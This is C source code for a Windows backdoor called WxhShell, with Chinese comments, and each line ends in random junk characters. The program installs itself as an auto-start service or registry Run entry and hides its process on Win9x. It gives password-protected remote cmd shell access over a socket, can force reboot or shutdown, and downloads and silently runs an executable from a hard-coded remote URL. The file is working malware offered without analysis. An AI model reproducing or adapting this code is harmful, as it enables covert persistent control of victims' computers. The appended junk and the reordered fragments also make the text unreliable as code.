    if(Boot(SHUTDOWN)) uHBX}WH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t+Mr1e  
    else { XP5q4BM  
    closesocket(wsh); =:`1!W0I  
    ExitThread(0); AC3K*)`E  
    } (u85$_C  
    break; K1uN(T.Ju  
    } 6,M>'s,N  
  // 获取shell ?@Z~i]gE[V  
  case 's': { * JGm  
    CmdShell(wsh); C-]H+p  
    closesocket(wsh); {8%KO1xB  
    ExitThread(0); =dWq B&  
    break; Gsm.a  
  } 6]HMhv  
  // 退出  2q9$5   
  case 'x': { wjOJn]  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 0juP"v$C>  
    CloseIt(wsh); iUqD>OV  
    break; ,,S 2>X*L  
    } "b)EH/ s  
  // 离开 E429<LQI/  
  case 'q': { kD((1v*D$  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); :C&6M79k  
    closesocket(wsh); 5OAb6k'  
    WSACleanup(); &C?4'e  
    exit(1); a:1$idj  
    break; UMPW<> z  
        } DW)81*~g  
  } T*(mi{[T  
  } \r3SvBwhFv  
xxC2 h3  
  // 提示信息 "837b/>/  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *A0d0M]cg  
} |#(y?! A^  
  } %."w]fy>P  
'_91(~P  
  return; Juk'eH2^s  
} ,OMdLXr  
xd4~[n\hm  
// shell模块句柄 ~svea>Fmr  
int CmdShell(SOCKET sock) >``  
{ 'XOWSx;Y  
STARTUPINFO si; q5) K  
ZeroMemory(&si,sizeof(si)); +'[/eW  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; m`tX&K#-  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; py%:,hi  
PROCESS_INFORMATION ProcessInfo; be(hY{y`  
char cmdline[]="cmd"; B@8lD\  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); qtz~Y~h|>  
  return 0; zXId up@  
} c? Mbyay  
g6OPYUPg  
// 自身启动模式 ;O<-4$  
int StartFromService(void) Uu9I;q!|  
{ 79+i4(H  
typedef struct ^ h2!u'IQ  
{ MG^YT%f  
  DWORD ExitStatus; 1c*;Lr.K  
  DWORD PebBaseAddress; ehZ/J5  
  DWORD AffinityMask; kR8,E6Up  
  DWORD BasePriority; /^WOrMR  
  ULONG UniqueProcessId; xiqeKoAD  
  ULONG InheritedFromUniqueProcessId; "z-tL  
}   PROCESS_BASIC_INFORMATION; PE?ICou  
j-| !QlB  
PROCNTQSIP NtQueryInformationProcess; m!3D5z]n9  
TQQh:y  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 00yWk_w  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; SErh"~[  
\:2z!\iP`  
  HANDLE             hProcess; jPn.w,=)27  
  PROCESS_BASIC_INFORMATION pbi; rkz84wDx  
E,Xl8rC  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); VeOM `jy  
  if(NULL == hInst ) return 0; i\x@s>@x}  
*aGJ$ P0  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Ny2bMj.o  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); KWM}VZY:Z  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); {Ia$!q)  
e2L>"/  
  if (!NtQueryInformationProcess) return 0; a;\a>N4  
/L./-92NH4  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); -vc ,O77z"  
  if(!hProcess) return 0; }nSu7)3$B  
uG-S$n"7K  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; =,X*40=  
MooxT7  
  CloseHandle(hProcess); 86a,J3C[  
hDc2T  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 7\gu; [n  
if(hProcess==NULL) return 0; o'8%5 M@  
}rF4M1+B\  
HMODULE hMod; TV`sqKW  
char procName[255]; G"".;}AV  
unsigned long cbNeeded; j3u!lZ}U  
*w/N>:V0p  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); N0N%~3  
tTh4L8fO  
  CloseHandle(hProcess); sn]D7Ae  
QP>F *A  
if(strstr(procName,"services")) return 1; // 以服务启动 hf;S#.k  
+RnWeBXAT  
  return 0; // 注册表启动 XJk~bgO*  
} _,igN>  
Xe(]4Ux  
// 主模块 B9H.8+~(  
int StartWxhshell(LPSTR lpCmdLine) N2lz {  
{ +fq\K]  
  SOCKET wsl; f*T}Ov4  
BOOL val=TRUE; ac1(lD  
  int port=0; A$L:,b(  
  struct sockaddr_in door; \tCK7sBn  
RJ{J~-q{  
  if(wscfg.ws_autoins) Install(); GB,ub*|  
ID,os_ T=  
port=atoi(lpCmdLine); 5JhpBx/>o=  
=5uhIU0O  
if(port<=0) port=wscfg.ws_port; U!YoZ?  
C:f^&4 3  
  WSADATA data; u#Bj#y!  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; f lt'~fe  
\x5>H:\Y  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   K <WowU  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); "#iO{uMWb  
  door.sin_family = AF_INET; /q/^B> ]  
  door.sin_addr.s_addr = inet_addr("127.0.0.1");  UF@.  
  door.sin_port = htons(port); %CgmZTz~<  
7nM<P4\  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { i.7$~}  
closesocket(wsl); >)mF'w  
return 1; n"Jj'8k  
} !"aGo1 $$  
A>(EM}\,  
  if(listen(wsl,2) == INVALID_SOCKET) { > :0N)Pj  
closesocket(wsl); ^}:0\;|N  
return 1; ucbtPTFYvr  
} Z+4Mo*#  
  Wxhshell(wsl); RusiCo!r  
  WSACleanup(); 6vzvH  
kHQn' r6  
return 0; x_l8&RIB*  
L$jii  
} r\y\]AmF  
x/0x&la  
// 以NT服务方式启动 V=+p8nE0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) h,]lN'JG{  
{ kpk ^Uw%f  
DWORD   status = 0; g1B P  
  DWORD   specificError = 0xfffffff; O_5;?$[m  
"k),;1  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ;zWiPnX}  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 472'P  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; % 5BSXAc  
  serviceStatus.dwWin32ExitCode     = 0; XD[9wd5w8  
  serviceStatus.dwServiceSpecificExitCode = 0; dtXtZ!g2  
  serviceStatus.dwCheckPoint       = 0; 6O@Lx ]t  
  serviceStatus.dwWaitHint       = 0; |6`7kb;p  
48!F!v,j)x  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); E>"SC\#7  
  if (hServiceStatusHandle==0) return; 9  I&[6}  
TdoH(( nY  
status = GetLastError(); A\ tBmL_s  
  if (status!=NO_ERROR) }5X.*wz  
{ va.Ve# N  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; cr^R9dv  
    serviceStatus.dwCheckPoint       = 0; V{rQ@7SE  
    serviceStatus.dwWaitHint       = 0; / ]nrxT  
    serviceStatus.dwWin32ExitCode     = status; J/[PA[Rf  
    serviceStatus.dwServiceSpecificExitCode = specificError; O:dUzZR['  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus);  7re4mrC  
    return; **ls 4CE<  
  } TQ5kT?/{  
6p 14BruV  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; \/r]Ra  
  serviceStatus.dwCheckPoint       = 0; 73!])!SVI  
  serviceStatus.dwWaitHint       = 0; CY)[{r  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 1ay{uU!EL  
} W'Qy4bl7C  
wee5Nirw6  
// 处理NT服务事件,比如:启动、停止 y!\q ', F  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 2}ywNVS  
{ 1mx;b)4t  
switch(fdwControl) 6 %T_;"hb  
{ y$L&N0z  
case SERVICE_CONTROL_STOP: dp:5iuS  
  serviceStatus.dwWin32ExitCode = 0; j*_#{niy:  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; LM".]f!,  
  serviceStatus.dwCheckPoint   = 0; PC)V".W 1  
  serviceStatus.dwWaitHint     = 0; ]Vf2Mn=]"  
  { ` h1>rP  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); W1O m$S1  
  } {d,^tG}  
  return; FFf ~Vmw  
case SERVICE_CONTROL_PAUSE: zM'2opiUY  
  serviceStatus.dwCurrentState = SERVICE_PAUSED;  PO=A^b  
  break; cHwN=mg]S  
case SERVICE_CONTROL_CONTINUE: FsfP^a  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; hHsO?([99  
  break; 0O?!fd n  
case SERVICE_CONTROL_INTERROGATE: 5OC3:%g  
  break; Wt! NLlN8  
}; 4n.EA,:g:(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); X!]p8Q y  
} pKk{Q0Rt  
4&E &{<;  
// 标准应用程序主函数 97VS xhr  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) K.6xNQl{}  
{ [2zS@p  
l' a<k"  
// 获取操作系统版本 Je~<2EsQ  
OsIsNt=GetOsVer(); G~Fjla\?Q  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Uj~ :| ?Wz  
]N1gzHaS  
  // 从命令行安装 IZ+ZIR@}ci  
  if(strpbrk(lpCmdLine,"iI")) Install(); M Y>o8A  
eX{Tyd{  
  // 下载执行文件 M'ZA(LVp  
if(wscfg.ws_downexe) { #pp6 ycy  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 62J -)~_  
  WinExec(wscfg.ws_filenam,SW_HIDE); GvD{I;  
} Vu1X@@z  
[+4--#&{  
if(!OsIsNt) { GAcU8  MD  
// 如果时win9x,隐藏进程并且设置为注册表启动 {K+]^M  
HideProc(); `n~bDG>  
StartWxhshell(lpCmdLine); 'B$qq[l]S  
} 4krK CD>|G  
else m=%WA5c?  
  if(StartFromService()) (]p,Z <f  
  // 以服务方式启动 Q::6|B,G  
  StartServiceCtrlDispatcher(DispatchTable); POc-`]6 <F  
else <Q? X'.  
  // 普通方式启动 GOhGSV#  
  StartWxhshell(lpCmdLine); IH0qx_;P&  
D<*#. >  
return 0; E;^~}  
} 9DP6g<>B  
kkE1CHY  
a).bk!G  
fo30f =^Gi  
=========================================== ~Fd<d[b?  
r(QjVLjj`k  
;.P9t`*  
X(ZouyD<  
7'9~Kx&+  
F2$Z4%x#  
" o Z#4<7K  
Lg[_9 `\  
#include <stdio.h> J 4EG  
#include <string.h> amK.H"  
#include <windows.h> +TnRuehtk  
#include <winsock2.h> F&om^G'U  
#include <winsvc.h> K)C9)J<  
#include <urlmon.h> P}+-))J  
(PmaVwF  
#pragma comment (lib, "Ws2_32.lib") J9 iQW  
#pragma comment (lib, "urlmon.lib") 8s_'tw/{  
} 1 >i  
#define MAX_USER   100 // 最大客户端连接数 3,cZ*4('d  
#define BUF_SOCK   200 // sock buffer K2glkGK  
#define KEY_BUFF   255 // 输入 buffer mw1|>*X&R  
{$ghf"  
#define REBOOT     0   // 重启 yF}l.>7D  
#define SHUTDOWN   1   // 关机 ,nELWzz%{  
SDTX3A1  
#define DEF_PORT   5000 // 监听端口 =gb.%a{R  
_f8<t=R  
#define REG_LEN     16   // 注册表键长度 4EiEE{9V  
#define SVC_LEN     80   // NT服务名长度 eh-/,vmRa  
SqhG\qE{Qj  
// 从dll定义API (bk~,n_  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); #lM :BO  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 4Y[uqn[  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); rQ^$)%uP  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Vb`m3  
0# D4;v  
// wxhshell配置信息 vt" 7[!O  
struct WSCFG { 4|*H0}HOm  
  int ws_port;         // 监听端口 (q!tI* }  
  char ws_passstr[REG_LEN]; // 口令 c:Tw.WA  
  int ws_autoins;       // 安装标记, 1=yes 0=no bojx:g  
  char ws_regname[REG_LEN]; // 注册表键名 u:Q_XXT5  
  char ws_svcname[REG_LEN]; // 服务名 YH( 54R  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 {BBL`tg60  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 (#WE9~Sru  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 I |?zSFa  
int ws_downexe;       // 下载执行标记, 1=yes 0=no h[SuuW  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 777N0,o(  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 );*A$C9RA  
gOpGwpYZ,  
}; mJaWzR  
jOppru5U  
// default Wxhshell configuration ?3wEO>u  
struct WSCFG wscfg={DEF_PORT, ^d!(8vh  
    "xuhuanlingzhe", F^Yt\V~T  
    1, ]~:9b[G2  
    "Wxhshell", URbu=U  
    "Wxhshell", yp=(wcJ  
            "WxhShell Service", ^Tbw#x]2  
    "Wrsky Windows CmdShell Service", []D@"Bz  
    "Please Input Your Password: ", -v*wT*I1  
  1, 8S_i;  
  "http://www.wrsky.com/wxhshell.exe", 9|Cu2  
  "Wxhshell.exe" [:geDk9O#'  
    }; `2S G{5o;  
 }xcEWC\  
// 消息定义模块 E"D+CD0  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; -MrEJ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; tkBp?Wl  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; P%hi*0pwZ  
char *msg_ws_ext="\n\rExit."; d^"<Tz!  
char *msg_ws_end="\n\rQuit."; /xmUu0H$R  
char *msg_ws_boot="\n\rReboot..."; %UuV^C  
char *msg_ws_poff="\n\rShutdown..."; 85U')LY  
char *msg_ws_down="\n\rSave to "; / lh3.\|  
aZGX`;3  
char *msg_ws_err="\n\rErr!"; 5`oVyxJ<  
char *msg_ws_ok="\n\rOK!"; oR'8|~U@B  
(B@:0}>  
char ExeFile[MAX_PATH]; 6$TE-l  
int nUser = 0; _{z.Tu  
HANDLE handles[MAX_USER]; ` V}e$  
int OsIsNt; !ydJ{\;  
tgn_\-+  
SERVICE_STATUS       serviceStatus; *Z*4L|zT  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; RkVU^N"  
: E `N0UA  
// 函数声明 <X}@afS  
int Install(void); rt r0 d  
int Uninstall(void); 'ojI_%9<  
int DownloadFile(char *sURL, SOCKET wsh); >'3J. FY  
int Boot(int flag); E5.3wOE  
void HideProc(void); trL:qD+{(  
int GetOsVer(void); Ky33h 0TX  
int Wxhshell(SOCKET wsl); V3O<l}ak  
void TalkWithClient(void *cs); Y_n^6 ;  
int CmdShell(SOCKET sock); W]p)}#FR  
int StartFromService(void); ]J\tosTi  
int StartWxhshell(LPSTR lpCmdLine); kIS_ 6!  
YNCQPN\v`1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); z-*/jFE  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); vzVXRX  
f8um.Xnp6  
// 数据结构和表定义 }ie\-V  
SERVICE_TABLE_ENTRY DispatchTable[] = ]t-_.E )F  
{ )8Defuxk  
{wscfg.ws_svcname, NTServiceMain}, "*O(3L.c-  
{NULL, NULL} JiL%1y9|  
}; =ja(;uC  
/7Z;/|oU  
// 自我安装 yD|He*$S  
int Install(void) ~Aul 7[IH  
{ j #e^PK <  
  char svExeFile[MAX_PATH]; Tl9KL%9  
  HKEY key; Jwzkd"D  
  strcpy(svExeFile,ExeFile); ng $`<~=)\  
:e1BQj`R  
// 如果是win9x系统,修改注册表设为自启动 9$F '*{8  
if(!OsIsNt) { _h1n]@ d5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { i,jPULzyjk  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); cTf/B=yMi  
  RegCloseKey(key); [ix45xu7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |` gSkv  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); zb/w^~J_i  
  RegCloseKey(key); 6A$ \I44  
  return 0; 7XLz Ewa  
    } 4O Lq  
  } v^_OX $=,  
} -z%| Jk  
else { zx  
`* !t<?$i  
// 如果是NT以上系统,安装为系统服务 S7SD$+fX  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); sG{hUsPa  
if (schSCManager!=0) xB=~3  
{ 8':^tMd  
  SC_HANDLE schService = CreateService 1RC(T{\x  
  ( >% a^;gk(  
  schSCManager, dY>oj<9  
  wscfg.ws_svcname, FbRq h|  
  wscfg.ws_svcdisp, RM2<%$  
  SERVICE_ALL_ACCESS, J{Fu8  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , *G|w#-\.c  
  SERVICE_AUTO_START, L' w }  
  SERVICE_ERROR_NORMAL, fv?vO2nj  
  svExeFile, cnfjO g'\{  
  NULL, D,Ft*(|T  
  NULL, w>M8 FG(4]  
  NULL, ^F @z +q  
  NULL, Q)}_S@v|%  
  NULL vMOI&_[\z  
  ); G-?y;V 1  
  if (schService!=0) Cnp\2Fu/  
  { MpZ #  
  CloseServiceHandle(schService); Na8%TT>  
  CloseServiceHandle(schSCManager); <1~5l ~  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ]+RBykr  
  strcat(svExeFile,wscfg.ws_svcname); .32]$vx  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Nrp0z:  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); RLkP)+t  
  RegCloseKey(key); +m Plid\  
  return 0; v`i9LD0(  
    } Jr/|nhGl5  
  } G:TM k4  
  CloseServiceHandle(schSCManager); :_R[@?c  
} X.)caF^j  
} RL =  
{%WQQs  
return 1; 1an?/j,  
} s&-m!|P  
tz0_S7h  
// 自我卸载 q.]>uBAQ?  
int Uninstall(void) y^"[^+F3 .  
{ 1t"  
  HKEY key; <[9{Lg*D  
o' U::  
if(!OsIsNt) { JWHKa=-H  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { c#l W ?  
  RegDeleteValue(key,wscfg.ws_regname); Er; @nOyD  
  RegCloseKey(key); wBr$3:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { i|zs Li/  
  RegDeleteValue(key,wscfg.ws_regname); U j5%06  
  RegCloseKey(key); )m . KV5K!  
  return 0; g]B! 29M  
  } |)4Fe/!cJ  
} `Mj>t(  
} :q6j{C(  
else { f=0U&~  
!1+yb.{\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); <=fYz^|XT  
if (schSCManager!=0) 7A!E~/nSC  
{ Y*!J +A#  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); tYE\tbCO'  
  if (schService!=0) =7&2-'(@  
  { gmG M[c\  
  if(DeleteService(schService)!=0) { -rC_8.u :  
  CloseServiceHandle(schService); Ko6>h  
  CloseServiceHandle(schSCManager); &j4 1<A  
  return 0;  U/v }4b  
  } U Ke!zI  
  CloseServiceHandle(schService); v[S>   
  } bUR; d78  
  CloseServiceHandle(schSCManager); 2D,EWk/4  
} U Ps7{We W  
} NkWU5E!  
.Sz<%d7XIQ  
return 1; |UA)s3Uhxb  
} lPA:aHcj  
9 U6cM-p?  
// 从指定url下载文件 !3]}3jZ.  
int DownloadFile(char *sURL, SOCKET wsh) dEz7 @T  
{ H}TzNs  
  HRESULT hr; J|vriI;  
char seps[]= "/"; \EP<r  
char *token; K x7'm1  
char *file; aTJs.y -I~  
char myURL[MAX_PATH]; #dcfQ  
char myFILE[MAX_PATH]; J<[Hw g  
4g^nhJP$  
strcpy(myURL,sURL); v.wHj@  
  token=strtok(myURL,seps); q|Oz   
  while(token!=NULL) _*(n2'2B  
  { Ygwej2  
    file=token; d(LX;sq?  
  token=strtok(NULL,seps); @@&([f  
  } irg% n  
6xLLIby,  
GetCurrentDirectory(MAX_PATH,myFILE); %hEhZW{:  
strcat(myFILE, "\\"); Vn4y^_H  
strcat(myFILE, file); })zYo 7  
  send(wsh,myFILE,strlen(myFILE),0); y$J M=f$  
send(wsh,"...",3,0); *b< a@  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); "YUh4uZ~P  
  if(hr==S_OK) 6Dx^$=Sa$  
return 0; v61'fQ1Qg!  
else fu}ZOPu  
return 1; +:JyXF u  
_]g?3Gw7!  
} :E$<!q  
z?9vbx  
// 系统电源模块 +\@) 1  
int Boot(int flag) @' V=Vr  
{ Klw\  
  HANDLE hToken; Wmm'j&hI  
  TOKEN_PRIVILEGES tkp; s]tBd !~  
!|SVRaS  
  if(OsIsNt) { Rn"Raq7Cn*  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 0N" VOEvG  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); )Ha`>  
    tkp.PrivilegeCount = 1; aGUKpYF  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; "r:i  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); L)0j&  
if(flag==REBOOT) { 9e`.H0  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ]HpKDb0+  
  return 0; A7|CG[wZ  
} W.B;Dy,Y  
else { st|;] q9?  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) "s:eH"_s  
  return 0; XN*?<s3  
} LF2@qvwD  
  } |zJxR_)  
  else { Y,?!"  
if(flag==REBOOT) { QA=G+1x  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 9;fyC =  
  return 0; P|:*OM p  
} KGVAP  
else { 2l7Sbs7  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) s,tZi6Z=%E  
  return 0; n$jOk |W  
} *{ =5AW}o  
} O%w"bEr)N  
|=dmxfj@  
return 1; Lq-Di|6q  
} Q|!}&=  
k|ol+ 9Z  
// win9x进程隐藏模块 ^KKU@ab9  
void HideProc(void) aMUy^>  
{ IQ&o%   
X2 Z E9b  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); j.'Rm%@u  
  if ( hKernel != NULL ) N33{vx  
  { jK!Y-  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); H1FD|Q3  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); )Mtw9[  
    FreeLibrary(hKernel); %(9BWO  
  } r_5k$u(  
3Zr'Mn  
return; Rk1B \L|M  
} 4f}:)M$5  
ZL0':7  
// 获取操作系统版本 .7BB*!CP  
int GetOsVer(void) bZ/4O*B  
{ m((A  
  OSVERSIONINFO winfo; #4?(A[]>H  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); C< :F<[H  
  GetVersionEx(&winfo); uSAb  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) C*S%aR  
  return 1; <hYrcOt  
  else v}$s,j3NO  
  return 0; ) <lpI';T  
} i$Rlb5RU  
+ lha=  
// 客户端句柄模块 % d%KH9u  
int Wxhshell(SOCKET wsl) q ;@:,^  
{ 2EHeQ|#  
  SOCKET wsh; ";)SA,Z  
  struct sockaddr_in client; CoZXbTq  
  DWORD myID; 5]Wkk~a  
80/6-_g(  
  while(nUser<MAX_USER) )$# Ku2X  
{ n*4N%yI^m5  
  int nSize=sizeof(client); "S">#.L  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); `kx+Kc  
  if(wsh==INVALID_SOCKET) return 1; `7;I*|  
&"90pBGK  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); oNgu- &  
if(handles[nUser]==0) . PzlhTL7  
  closesocket(wsh); 8a\ Pjk  
else %cDTy]ILu  
  nUser++; BjT0m k"P  
  } (Ea)`'/  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Iw ? M>'l  
4_`ss+gk  
  return 0; ([-xM%BI6  
} 6j]pJ]F6  
'xO^2m+N;  
// 关闭 socket ]-6=+\]   
void CloseIt(SOCKET wsh) J,8Wo6  
{ I|6wPV?  
closesocket(wsh); OVsZUmSG  
nUser--; :Sh>  
ExitThread(0); ;tS4 h  
} EZm6WvlxSI  
N XwQvm;q  
// 客户端请求句柄  oQrkd:  
void TalkWithClient(void *cs) EM_`` 0^  
{ );LkEXC_'  
2?]NQE9lA  
  SOCKET wsh=(SOCKET)cs; { r9fKA  
  char pwd[SVC_LEN]; Y.O/~af  
  char cmd[KEY_BUFF]; I2@pkVv3z  
char chr[1]; &Rgy/1  
int i,j; ^&o38=70*  
P1f?'i ?J  
  while (nUser < MAX_USER) { X-F|&yE~<  
U]!D=+  
if(wscfg.ws_passstr) { oG! S(95  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); E(i<3U"4h[  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Q\H_lB  
  //ZeroMemory(pwd,KEY_BUFF); x(e =@/qp  
      i=0; Z4\$h1tl  
  while(i<SVC_LEN) { _)q,:g~fu  
EJ*  
  // 设置超时 v3(W4G`  
  fd_set FdRead; mVYLI!n}0#  
  struct timeval TimeOut; mWUo:(U  
  FD_ZERO(&FdRead); P^-tGo!  
  FD_SET(wsh,&FdRead); b|i94y(  
  TimeOut.tv_sec=8; 3P1OyB  
  TimeOut.tv_usec=0; \R >!HY  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); iJg3`1@j  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 8oI)q4V  
q]%c 6{w  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); UR~9*`Z ,  
  pwd=chr[0]; .P[ %t=W  
  if(chr[0]==0xd || chr[0]==0xa) { Z5/g\G[  
  pwd=0; :tu_@3bg-  
  break; V$Y5EX  
  } 1mw<$'pm0  
  i++; &e\A v.n@-  
    } $I%75IZ  
IrU}%ZVV  
  // 如果是非法用户,关闭 socket ?XVJ$nzW  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Lh~Ym<CeN  
} }e/P|7&  
NGHzifaE   
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); \2!v~&S  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Gc) Zu`67  
_ i )Z8#  
while(1) { 75`*aAZ3  
uy~KJn?Tu  
  ZeroMemory(cmd,KEY_BUFF); v4}kmH1  
0:^L>MO  
      // 自动支持客户端 telnet标准   |qS<{WZ!h  
  j=0; H4'xxsx  
  while(j<KEY_BUFF) { h(hb?f@1:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); NJb5HoYZ  
  cmd[j]=chr[0]; %?lPS  
  if(chr[0]==0xa || chr[0]==0xd) { 1!RD kZw e  
  cmd[j]=0; 8S1%;@c  
  break; ^a@Vn\V1  
  } QKYGeT7&Y'  
  j++; zmI?p4,  
    } ^'DrU< o  
p1p4t40<l  
  // 下载文件 @>'.F<:P<  
  if(strstr(cmd,"http://")) { J;Az0[qMR  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 2RD os#  
  if(DownloadFile(cmd,wsh)) K#g)t/SZ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); $l:?(&u  
  else {9KG06%+  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {\G4YQ  
  } O&93QN0  
  else { /ve8);cH\  
5H#3PZaQ  
    switch(cmd[0]) { H".~@,-}  
  2s,wC!',  
  // 帮助 LV{a^!f`y  
  case '?': { V|vU17Cgy  
